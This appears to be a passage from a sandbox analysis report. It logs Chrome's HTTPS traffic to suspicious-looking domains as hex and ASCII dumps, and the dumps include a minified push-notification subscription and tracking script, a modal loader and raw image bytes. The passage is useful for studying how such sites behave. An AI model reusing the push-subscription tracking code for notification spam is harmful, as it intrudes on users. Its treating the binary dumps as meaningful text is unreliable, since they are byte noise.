2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 9d 48 db d3 b8 de 6f c9 ce 56 fc 8e ad df a9 a4 61 a3 67 98 fd c5 76 7c 99 f9 be 41 29 7c 9a a2 17 3b 18 1d 8c a1 c8 47 61 1a 2a 34 f3 b2 73 fc 99 1d 84 f3 08 5a 36 ab 3e 46 f3 7e 4e 7a b0 3c ef dc 16 8e 87 9f af 50 3c 87 ee 60 73 60 73 64 14 74 3f 50 d7 a8 25 90 fd cc 1c ec 8e 6f 44 2d 1d 2a b2 1f b9 6b bd bf 53 95 55 9c b2 ea 69 53 4d 77 3a c1 f4 66 48 db 1b df b8 f2 bd f2 f7 30 29 0e e6 b9 4a d1 11 ae 39 73 5e a5 d0 ce 7e ac e4 ab 3a 87 cc 5b 3c cd 1d 91 dc 8e 6c 97 ee 66 8a f3 e4 bf 71 e7 e3 6b d1 64 6d 32 cd 51 e9 ab e2 32 5e a6 ba f8 94 ba 7d 47 97 85 db 45 d0 b5 fb 99 62 8f 5d 57 14 9a ed 36 6d a7 8b da bb 4d ff 00 67 8c ae e9 7b 9a aa c8 66 1c 53 2d 33 de e2 f8 83 26 b6 b5 6b fe cf 41 81 e2 db 93 51 9c b6 7c cf 12 73 b1 a5 14 ce b5 3c b4 ae 69 cb Data Ascii: HoVagv\|A)\|;Ga4sZ6>F~Nz<P<`s`sdt?P%oD-kSUiSMw:fH0)J9s^~:[<lfqkdm2Q2^}GEb]W6mMg{fS-3&kAQ\|s<i
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: ae 55 c3 ca de f6 cc 79 59 31 8c fe 9e ad 14 d5 cf 39 79 96 32 fb f4 5f 63 67 3e bd 43 34 a7 1e bd ca 7b f4 2e aa b9 49 ad f6 2c 92 24 6c df 88 dc 68 8f 3f 54 5d 6a 75 a5 64 3a c1 95 c7 4a a6 be 0d 15 2d f0 e9 b9 7a 3e 87 16 8e ca 54 4a 32 9a d7 53 ab 8d 9b 25 a3 ce 55 bd 9d 1c 7d f4 38 ce 09 9e 9c 79 24 8f 4b 55 f1 b7 4e 5d ce b6 0e 55 f4 c2 4e 32 7a 8f 53 cd e1 a9 4a 49 44 f4 29 2a 31 f9 67 f7 c9 76 3e 4f 32 31 a4 bd cf bf c1 94 e7 d4 bb 47 6d 2a b8 af 0f 96 45 69 2b ab 5f 56 8f 3b 64 6b cc a6 75 cd 6a c8 7a 9e 87 c2 d4 ca 14 e5 4d a6 ab 71 3c fd e9 51 2b ac ed cf 2e 87 91 b7 ed e5 33 df 8e 31 72 9e 3f 65 e0 f3 79 78 f6 d1 37 ae a8 c5 25 4d af 96 6b 96 47 a3 ca e5 b2 29 3e fa 38 39 b8 fa 6d a3 ef 71 b3 49 c5 36 7e 63 ea 18 14 32 34 8e 7e 4e 1c a1 d5 2d Data Ascii: UyY19y2_cg>C4{.I,$lh?T]jud:J-z>TJ2S%U}8y$KUN]UN2zSJID)1gv>O21GmEi+_V;dkujzMq<Q+.31r?eyx7%MkG)>89mqI6~c24~N-
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 19 bf 4e 66 d7 a9 d8 c8 49 e8 e2 64 4f cc cc e5 5e 86 52 f0 56 cd 10 6e 6b 95 fe 0c 7c 61 ef 1e 3b fb 97 43 5a da 6b 46 1e 31 3e 68 a4 bd 3b 9a 96 3a 4d 92 19 2d a4 71 92 f5 60 6c 1b 15 3e bd 4f 19 ec 1b b8 7d 05 72 d0 13 29 07 4f d0 93 9f 2a 15 77 04 fa a7 b0 0c fe 82 a3 53 51 70 5a f6 33 c5 6e 7a 39 34 2c 64 1f e0 b7 93 a7 60 d7 4c 9b fb 59 68 59 52 8b 0f 2b 36 c7 1a c7 da 23 7e 8a 6f bb 48 ba b2 59 cf 19 23 72 c4 aa 2f eb b1 7e 0b 14 71 21 e8 d8 51 23 91 81 27 ec 59 1a ac 7d a2 cd aa fa 60 fe 9a 97 e4 33 cc 97 68 c5 2f c1 75 09 99 e1 89 74 bb 44 ba 38 13 6f ea 92 5f 91 65 93 6b e9 cc c5 72 b2 4d 75 62 90 b3 47 e8 e8 87 df 6a fc 0e 96 15 7e 8e 4c cf 1a 2e 9b e9 16 cb e1 c3 ef 9b ea b4 5a 20 56 5d 71 7a 85 51 fc 8a f3 6d 7f 6e 97 f0 69 87 0c e5 7b 9c cd Data Ascii: NfIdO^RVnk\|a;CZkF1>h;:M-q`l>O}r)O*wSQpZ3nz94,d`LYhYR+6#~oHY#r/~q!Q#'Y}`3h/utD8o_ekrMubGj~L.Z V]qzQmni{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49741	188.114.96.3	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:13 UTC	544	OUT	GET /scripts/push/v9e118mez8 HTTP/1.1 Host: trk-elevostra.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:13 UTC	1348	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:13 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 5200 Last-Modified: Thu, 03 Oct 2024 14:51:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=730sqeFHvvpLyyUPIREbV1FYrEZ%2Bvq%2F4R%2BLgGWhdJ6s1HC3UbfTMTwV2XL5dSjByWCuenRU9OavDRxo7FyB9aBm58mKVx3b2YbKf3B1ocmzQYggfFzQXBEW%2FJNMc6iAGWkRngQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 16:18:13 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 63 65 33 66 33 32 30 66 65 38 34 32 39 61 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8cce3f320fe8429a-EWR
2024-10-03 16:18:13 UTC	1358	IN	Data Raw: 31 66 63 63 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 73 6d 50 75 73 68 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 6c 69 63 4b 65 79 3d 22 42 4a 62 75 6a 74 4b 49 6d 6b 69 4c 57 6a 6c 57 6b 4d 47 59 4d 6f 32 5f 73 4d 30 61 6c 32 34 4b 6f 53 37 55 36 54 4a 31 55 37 73 4b 4a 61 78 6c 49 55 4c 7a 35 73 36 70 37 74 4e 36 57 62 6e 4c 69 73 43 71 5f 53 69 35 68 50 37 58 30 37 36 39 54 76 50 44 46 54 51 3d 22 2c 73 6d 50 75 73 68 53 69 74 65 49 64 3d 22 76 39 65 31 31 38 6d 65 7a 38 22 2c 73 6d 43 6c 69 65 6e 74 49 64 3d 22 71 32 67 6f 79 6b 6a 64 72 76 22 2c 73 65 72 76 69 63 65 57 6f 72 6b 65 72 3d 22 2f 73 65 72 76 69 63 65 2d 77 6f 72 6b 65 72 2e 6a 73 22 3b 6c 65 74 20 73 6d 50 75 73 68 44 6f 6d 61 69 6e 3d 22 70 75 73 Data Ascii: 1fcc'use strict';const smPushApplicationServerPublicKey="BJbujtKImkiLWjlWkMGYMo2_sM0al24KoS7U6TJ1U7sKJaxlIULz5s6p7tN6WbnLisCq_Si5hP7X0769TvPDFTQ=",smPushSiteId="v9e118mez8",smClientId="q2goykjdrv",serviceWorker="/service-worker.js";let smPushDomain="pus
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 63 61 6d 70 61 69 67 6e 29 2c 61 2e 73 6f 75 72 63 65 4f 6e 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 6f 6e 65 2c 62 2e 73 6f 75 72 63 65 5f 6f 6e 65 29 2c 61 2e 73 6f 75 72 63 65 54 77 6f 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 77 6f 2c 62 2e 73 6f 75 72 63 65 5f 74 77 6f 29 2c 61 2e 73 6f 75 72 63 65 54 68 72 65 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 2c 62 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 29 2c 61 2e 73 6f 75 72 63 65 46 6f 75 72 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 66 6f 75 72 2c 62 2e 73 6f 75 72 63 65 5f 66 6f 75 72 29 2c 61 2e 73 6f 75 72 63 65 46 69 76 65 3d 73 65 74 49 66 4e 75 Data Ascii: campaign),a.sourceOne=setIfNull(utmObj.source_one,b.source_one),a.sourceTwo=setIfNull(utmObj.source_two,b.source_two),a.sourceThree=setIfNull(utmObj.source_three,b.source_three),a.sourceFour=setIfNull(utmObj.source_four,b.source_four),a.sourceFive=setIfNu
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 50 75 73 68 45 76 65 6e 74 28 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 76 65 72 73 69 6f 6e 29 2c 61 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 73 75 62 73 63 72 69 62 65 28 7b 75 73 65 72 56 69 73 69 62 6c 65 4f 6e 6c 79 3a 21 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 4b 65 79 3a 62 7d 29 7d 22 64 65 6e 69 65 64 22 3d 3d 3d 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 70 65 72 6d 69 73 73 69 6f 6e 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 76 65 72 73 69 6f 6e 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 Data Ascii: PushEvent("subscribe_prompt","subscribe_prompt",version),a.pushManager.subscribe({userVisibleOnly:!0,applicationServerKey:b})}"denied"===Notification.permission&&logPushEvent("denied_impression","denied_impression",version)}).catch(function(a){console.err
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 61 3d 3e 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 74 61 62 6f 6f 6c 61 55 72 6c 20 66 65 74 63 68 20 65 72 72 6f 72 22 2c 61 29 2c 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 74 61 62 6f 6f 6c 61 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 20 57 6f 72 6b 65 72 20 45 72 72 6f 72 22 2c 61 29 2c 70 75 73 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 75 73 68 5f 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 69 73 65 28 29 7b 72 65 74 Data Ascii: a=>{console.log("taboolaUrl fetch error",a),logPushEvent("taboola_request_error",a,version)})})}).catch(function(a){console.error("Service Worker Error",a),pushLogging&&logPushEvent("error_subscribing",a,version)})}})}function push_subscribe_promise(){ret
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 72 6f 72 22 2c 61 29 2c 70 75 73 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 49 66 4e 75 6c 6c 28 63 2c 61 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 6e 75 6c 6c 3d 3d 3d 63 7c 7c 22 22 3d 3d 3d 63 3f 61 3a 63 7d 66 75 6e 63 74 69 6f 6e 20 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 61 2c 62 2c 63 29 7b 6c 65 74 20 64 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 3b 22 7b 7d 22 21 3d 3d 64 26 26 28 62 3d 64 29 3b 6c 65 74 20 65 3d 7b 7d 3b 70 75 6c 6c 55 72 6c 50 61 72 61 6d 73 28 65 29 2c 65 2e 6d 65 73 73 61 67 65 3d 62 2c 65 2e 76 65 72 73 69 6f 6e 3d 63 2c 65 2e 65 76 65 Data Ascii: ror",a),pushLogging&&logPushEvent("error_subscribing",a,version)})}function setIfNull(c,a){return void 0===c\|\|null===c\|\|""===c?a:c}function logPushEvent(a,b,c){let d=JSON.stringify(b);"{}"!==d&&(b=d);let e={};pullUrlParams(e),e.message=b,e.version=c,e.eve
2024-10-03 16:18:13 UTC	1314	IN	Data Raw: 6e 49 64 28 61 29 7b 22 73 65 72 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 28 73 65 73 73 69 6f 6e 49 64 3d 61 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 55 74 6d 28 61 29 7b 22 73 65 72 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 61 26 26 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 75 74 6d 4f 62 6a 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 53 65 73 73 69 6f 6e 49 64 28 29 7b 72 65 74 75 72 6e 20 73 65 73 73 69 6f 6e 49 64 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 72 6c 56 61 72 73 28 29 7b 6c 65 74 20 61 3d 7b 7d 2c 62 3d 77 69 Data Ascii: nId(a){"serviceWorker"in navigator&&"PushManager"in window&&(sessionId=a)}function setUtm(a){"serviceWorker"in navigator&&"PushManager"in window&&null!=a&&Object.assign(utmObj,a)}function getSessionId(){return sessionId}function getUrlVars(){let a={},b=wi
2024-10-03 16:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49744	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:13 UTC	425	OUT	GET /master/terms/js/_modal.js?v=7 HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:13 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:13 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:26 GMT last-modified: Tue, 06 Aug 2024 14:09:18 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3167 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bM%2B%2BWqm2N3BaWWy4rKNSKSp4xZzGBkuP1BzW73jTvl6FmsxlFZsuGXil8Yih%2BMa6hK9v0cr2NBis6%2FlZJ%2B%2F1J0AQnH%2Fdm5ry0Io2LSHC6ptGX9mtRiL%2BH9HsvTzmUJIu54SV5YbUBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f34fd934233-EWR
2024-10-03 16:18:13 UTC	546	IN	Data Raw: 34 63 62 0d 0a 2f 2f 20 47 65 74 20 74 68 65 20 6d 6f 64 61 6c 20 65 6c 65 6d 65 6e 74 0a 20 20 20 20 76 61 72 20 6d 6f 64 61 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 65 72 6d 73 4d 6f 64 61 6c 22 29 3b 0a 20 20 20 20 76 61 72 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 22 29 3b 0a 20 20 20 20 76 61 72 20 74 65 72 6d 73 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 65 72 6d 73 54 65 78 74 22 29 3b 0a 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 62 75 74 74 6f 6e 20 74 68 61 74 20 6f 70 65 6e 73 20 74 68 65 20 6d 6f 64 61 6c 0a 20 20 20 20 Data Ascii: 4cb// Get the modal element var modal = document.getElementById("termsModal"); var modalContent = document.getElementById("modalContent"); var termsText = document.getElementById("termsText"); // Get the button that opens the modal
2024-10-03 16:18:13 UTC	688	IN	Data Raw: 63 6f 6e 74 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 50 48 50 20 66 69 6c 65 0a 20 20 20 20 20 20 20 20 66 65 74 63 68 28 27 2f 6d 61 73 74 65 72 2f 74 65 72 6d 73 2f 6a 73 2f 74 65 73 74 2e 70 68 70 27 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 72 6d 73 54 65 78 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 64 61 74 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 6f 64 61 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 62 6c 6f 63 6b 22 3b 0a 20 20 20 20 20 20 20 20 7d 29 0a 20 20 20 20 20 20 20 20 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b Data Ascii: content from the PHP file fetch('/master/terms/js/test.php') .then(response => response.text()) .then(data => { termsText.innerHTML = data; modal.style.display = "block"; }) .catch(error => {
2024-10-03 16:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49749	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	415	OUT	GET /master/us217/bg.jpg HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:14 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:14 GMT Content-Type: image/jpeg Content-Length: 20407 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3073 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0iTJzgE9gEVNv0EY0YKniAdgZCBcTrqs6XNmShLPEBTIO%2F2kokpHYOAKiLWYjSN%2FgTlHEnOWAg8%2F4xAARTe0pFpPHPBYu5OhFQMN8TM7awWrpoRl4QgWmA%2F0sCuHUWJ80L%2Fc5iDEBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f365fe5de92-EWR
2024-10-03 16:18:14 UTC	563	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 07 05 06 06 06 05 07 06 06 06 08 08 07 09 0b 12 0c 0b 0a 0a 0b 17 10 11 0d 12 1b 17 1c 1c 1a 17 1a 19 1d 21 2a 24 1d 1f 28 20 19 1a 25 32 25 28 2c 2d 2f 30 2f 1d 23 34 38 34 2e 37 2a 2e 2f 2e ff db 00 43 01 08 08 08 0b 0a 0b 16 0c 0c 16 2e 1e 1a 1e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ff c0 00 11 08 01 c8 02 60 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 36 10 00 02 02 02 00 04 05 03 04 01 04 02 03 00 03 00 00 01 02 03 04 11 05 12 21 31 06 13 41 51 61 22 32 81 14 42 71 91 23 07 15 43 52 Data Ascii: JFIFHHC!$( %2%(,-/0/#484.7./.C...................................................`"6!1AQa"2Bq#CR
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 60 d1 34 10 e8 84 b1 74 4d 07 41 02 c1 a2 04 80 58 03 a2 68 9a 00 84 0e 88 08 02 04 9a 02 c0 10 e8 9a 02 c5 0e 83 a2 02 00 81 08 00 d1 34 12 10 03 44 0e 89 a0 00 40 84 12 c0 4d 04 9a 02 c0 4d 07 44 d0 16 0d 10 62 01 60 20 48 08 0d 10 3a 26 80 21 03 a2 68 00 10 3a 0e 80 14 9a 1b 44 d1 49 60 d1 34 36 89 a2 0b 17 41 d0 74 1d 01 62 e8 9a 18 85 25 83 44 08 40 b1 74 1d 04 9a 04 06 88 1d 07 44 02 87 41 d1 34 50 02 0d a2 68 01 48 36 88 00 a4 1b 44 d0 20 ba 0e 83 a2 68 00 68 9a 1b 44 d0 02 e8 3a 0e 83 a2 81 74 4d 0d a2 68 80 5d 13 43 68 3a 28 17 44 d0 c4 04 14 9a 1b 44 16 0c 04 20 48 7a 00 40 e8 80 00 81 0e 80 01 02 40 40 07 44 08 00 d1 02 88 00 02 4d 04 10 04 d0 74 4d 00 02 0c 42 00 68 81 20 20 34 4d 04 20 0b a2 0d a2 68 00 68 81 d0 74 00 ba 20 da 0e 89 60 4d 07 Data Ascii: `4tMAXh4D@MMDb` H:&!h:DI`46Atb%D@tDA4PhH6D hhD:tMh]Ch:(DD Hz@@@DMtMBh 4M hht `M
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 1a 8a 41 b4 4d 16 c6 a0 d1 34 36 89 a1 64 d4 54 1d 07 41 d1 6c 6a 28 74 1d 07 42 cb a8 a1 d0 74 1d 0b 1a 8b a0 e8 3a 0e 99 2c 6a 04 1d 07 41 d0 b1 a8 08 1d 07 42 cb a9 e5 bc e8 fb 93 cd 47 26 19 75 c9 f7 2f 8d f0 5f b9 1d 94 e0 fc 33 c6 d4 97 94 6f f3 03 ce 63 57 c7 dd 0b 3b e3 e8 cb 68 5b 35 ce dd 12 17 6d 18 95 aa 43 73 68 aa 99 9b 69 9b d5 ab d4 75 38 bf 53 9b ce c3 cf 2f 71 45 d8 e9 ad 30 9c ea ef 94 5f 56 69 8e 44 5f 73 2d 1b 52 46 80 95 c6 d8 bf 52 c4 d3 f5 32 6d 51 34 4d 05 32 6d 12 ca 4d 07 44 09 2c b4 02 0c 91 34 4b 14 02 68 62 0b 2d 03 44 09 05 8a 06 83 a2 10 58 a2 10 81 d1 6c 50 08 1d 00 58 a2 13 44 09 6c 51 08 42 0b 14 1d 10 01 05 a0 a2 00 28 0a 08 40 40 28 21 02 08 14 12 10 20 b4 40 e8 01 21 68 24 20 45 8a 22 0e 88 13 36 5a 22 0a 20 51 2c b4 Data Ascii: AM46dTAlj(tBt:,jABG&u/_3ocW;h[5mCshiu8S/qE0_ViD_s-RFR2mQ4M2mMD,4Khb-DXlPXDlQB(@@(! @!h$ E"6Z" Q,
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: ee d9 35 2f ae 76 a7 c4 2b 8f 6e a6 6b 38 9c bf 6a 39 ba 26 86 a8 cb cc cd 73 cf ba 5e a6 79 5f 64 9f 59 31 34 1e 51 a9 87 91 b0 ab 26 bf 73 2c 8e 55 ab f7 b2 ae 52 72 8d 46 ec b5 e5 5c ff 00 7b 2b 95 b6 4b bc 98 39 43 ca 35 26 ec 46 e4 fd 41 a6 59 ca 1e 53 49 13 62 9d 30 a4 cb 79 49 c8 5a 26 c5 7b 9f bb 07 d5 ee 5d c8 1e 43 49 0d 99 47 52 68 bf 90 9c 86 92 26 c5 1a 26 8b f9 00 e2 6e 89 b1 4f 28 79 4b 12 0f 29 52 26 c5 5a 23 5d 0b 79 40 d0 7d 04 cc ed e9 e8 25 56 bd 4c b7 5d 11 c3 7e ce ad 74 0d 81 6d b2 cd 24 b6 1a 92 6c b7 d9 0e 03 d1 34 26 c6 52 3e 11 f5 48 d0 34 33 62 39 00 47 10 68 3c c1 4c 01 74 49 0c 46 b6 00 88 9b 19 47 41 d0 02 6c 6d 91 c4 56 80 1d 32 15 87 60 51 60 1a 17 6c 9c cc 82 86 d1 01 cc 4e 60 06 20 13 41 e8 01 36 32 93 15 05 14 94 3f 3b Data Ascii: 5/v+nk8j9&s^y_dY14Q&s,URrF\{+K9C5&FAYSIb0yIZ&{]CIGRh&&nO(yK)R&Z#]y@}%VL]~tm$l4&R>H43b9Gh<LtIFGAlmV2`Q`lN` A62?;
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 25 1e e6 92 64 b4 8c d1 6b d4 16 34 ba 1b e7 c3 6e 8c 77 2e 87 3e fa 25 09 69 b2 4b a1 1e cc d6 c9 76 2a da 34 79 1c db ea 0a f1 9c a7 ad 9c cd d1 9c 25 96 d6 a1 2e 54 2b 86 a3 b0 28 40 7a 85 f7 e8 00 06 4c 0c 29 a0 4b b8 b1 40 6c 89 81 91 22 58 a0 84 1d 88 5b 14 40 0d 14 db 2c 95 4d 25 f2 2c 94 54 43 4c f1 a5 04 9b d7 55 b2 99 47 5e a2 c5 15 84 8f a0 00 a0 80 b2 9e 4e 65 cf d8 d1 77 e9 96 bc bd b1 62 8c 7d 43 d7 7d 8d 95 59 8d 1d f3 43 7e c2 4a ea 94 f6 ab 5a 16 5a 28 4f ff 00 e2 34 74 a2 f9 a0 34 af 8f 2f 2a 8a 16 57 39 47 97 48 01 94 14 a2 92 5d 4e 85 5c 36 99 e3 4a c9 5a a3 24 bb 33 95 1b 24 bb 31 dd f6 49 69 c9 91 df b0 5f 92 8b 12 52 6b 7d 89 d8 8d 3e 6d 8c cd 12 8d 2c 0d a6 b4 8a db 7a 24 13 06 4b 2a 84 ba f4 2d 8c 5f a8 d5 ed 44 75 bd 94 82 a8 af Data Ascii: 